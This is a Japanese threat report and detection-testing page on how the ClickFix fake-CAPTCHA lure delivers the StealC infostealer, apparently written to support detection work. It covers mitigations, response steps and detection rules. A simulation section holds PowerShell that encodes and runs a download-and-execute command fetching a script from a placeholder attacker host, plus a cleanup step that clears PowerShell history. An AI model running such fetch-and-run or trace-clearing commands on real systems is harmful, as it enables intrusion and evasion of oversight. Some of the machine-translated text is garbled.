ClickFixがどのようにして、ステルシーなStealC情報スティーラーの扉を開くか
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
複数段階にわたるファイルレスの侵入は、偽のCAPTCHAをホストしているベトナムのレストランのサイトが侵害されたところから始まります。被害者はPowerShellを実行するように誘導され、それが独立したシェルコードを引き込み、リフレクティブに64ビットダウンローダーをロードし、情報スティーラーStealCをsvchost.exeに注入します。StealCはブラウザの資格情報、暗号通貨ウォレットデータ、SteamおよびOutlookの資格情報、ホストの詳細、スクリーンショットを収集し、RC4暗号化されたHTTPトラフィックを介して流出させます。
調査
研究者たちはJavaScriptとPowerShellローダーを解剖し、Donutシェルコードフレームワークの使用を確認し、攻撃者が制御するURLへのダウンローダーのHTTPフェッチを追跡しました。そのスティーラーはビルダー駆動のマルウェアアズアサービスで、モジュラー構造の盗難機能および自己削除ルーチンを備えています。ハンティングノートには、「Loader」というUser-Agent値とステージングと実行に関連する特定のレジストリキーが含まれています。
緩和策
推奨される防御策には、ブラウザでのクリップボードペーストの制限または無効化、PowerShell実行ポリシーの強化、異常なUser-Agent文字列のアラートが含まれます。リフレクティブなPEローディングとプロセス注入の検出を追加し、Base64でエンコードされたペイロードの配信のためにアウトバウンドHTTP検査を強制すること。また、偽CAPTCHAの誘惑に関するユーザー教育は、制御として扱うべきであり、後回しにはしないでください。
対応
発見した場合、エンドポイントを隔離し、注入されたsvchost.exeインスタンスを停止し、シェルコードのレビューのためにメモリダンプをキャプチャし、悪意のあるドメイン/URLをブロックします。曝露された資格情報をリセットし、インパクトを確認するためにレジストリとブラウザのアーティファクトをレビューし、残留するC2トラフィックを監視します。
攻撃フロー
検出
遅延実行のためのPING利用の可能性(コマンドライン経由)
表示
疑わしいファイルダウンロードの直接IP(プロキシ経由)
表示
LOLBAS wmic(コマンドライン経由)
表示
PowerShell経由でのダウンロードまたはアップロード(コマンドライン経由)
表示
StealC情報スティーラーのドアを開くクリックフィックスの仕組みを検出するためのIOC(SourceIP)
表示
StealC情報スティーラーのドアを開くクリックフィックスの仕組みを検出するためのIOC(HashSha256)
表示
StealC情報スティーラーのドアを開くクリックフィックスの仕組みを検出するためのIOC(DestinationIP)
表示
StealC情報スティーラーネットワークアクティビティを検出[Windowsネットワーク接続]
表示
StealCをsvchost.exeに注入するプロセスを検出[Windowsプロセス作成]
表示
PowerShell EncodedCommandおよびiex(irm)を検出[Windows PowerShell]
表示
シミュレーション実行
前提条件:テレメトリおよびベースライン事前チェックが通過している必要があります。
根拠:このセクションでは、検出ルールをトリガーするように設計された敵の技術(TTP)の正確な実行を詳述します。コマンドと説明は、特定のTTPを直接反映し、検出ロジックによって期待される正確なテレメトリを生成することを目的とします。
-
攻撃の説明とコマンド:
攻撃者は短縮URLを含むフィッシングメールを受け取ります。目的は、ユーザーに警告を与えずにリモートPowerShellバックドアをインストールすることです。攻撃者はBase64でエンコードされたPowerShellペイロードを作成し、C2サーバーから悪意のあるスクリプトをダウンロードし、それを即座に実行します
iex(irm…)。次を使用しスイッチを使用して、攻撃者は実際のコマンドをカジュアルな検査から隠し、パターンが検出ルールに直接一致します。iex(irm…)ランチャーコマンドを作成する:-
悪意のあるスクリプト(
payload.ps1)を作成してホストしますhttp://malicious.example.com/payload.ps1. -
ランチャーコマンドをエンコードする:
$launcher = "iex((New-Object System.Net.WebClient).DownloadString('http://malicious.example.com/payload.ps1'))" $bytes = [System.Text.Encoding]::Unicode.GetBytes($launcher) $encoded = [Convert]::ToBase64String($bytes) Write-Output $encoded # この値は次のステップで使用します -
ターゲットでエンコードされたコマンドを実行する:
powershell.exe -EncodedCommand <Base64StringFromStep2>
これにより、Sysmon ProcessCreateイベントが生成され、
コマンドラインに含まれますスイッチを使用して、攻撃者は実際のコマンドをカジュアルな検査から隠し、and デコードされたテキストにはiex(irm…)が含まれており、Sigmaルールに適合します。 -
-
リグレッションテストスクリプト:
#----------------------------------------------------------- # シミュレーションスクリプト – PowerShell EncodedCommand + iex(irm)をトリガー #----------------------------------------------------------- # 1. 悪意のあるスクリプトURLを定義(テストサーバーで置換) $maliciousUrl = "http://malicious.example.com/payload.ps1" # 2. スクリプトをダウンロードして実行するワンライナーを作成 $cmd = "iex((New-Object System.Net.WebClient).DownloadString('$maliciousUrl'))" # 3. コマンドをBase64(Unicode)でエンコード $bytes = [System.Text.Encoding]::Unicode.GetBytes($cmd) $b64 = [Convert]::ToBase64String($bytes) # 4. エンコードしたコマンドでPowerShellを起動 Write-Host "エンコードされたコマンドを実行中..." Start-Process -FilePath "$env:windirSystem32WindowsPowerShellv1.0powershell.exe" ` -ArgumentList "-EncodedCommand $b64" ` -NoNewWindow -Wait Write-Host "シミュレーション完了。" -
クリーンアップコマンド:
# シミュレーションペイロードで作成された一時ファイルを削除する(存在する場合) # 例:ローカルに保存された場合はダウンロードしたスクリプトを削除 $tempPath = "$env:TEMPpayload.ps1" if (Test-Path $tempPath) { Remove-Item $tempPath -Force Write-Host "一時ペイロードを削除。" } # オプションで、フォレンジックトレースを減らすためにPowerShell履歴をクリア Clear-History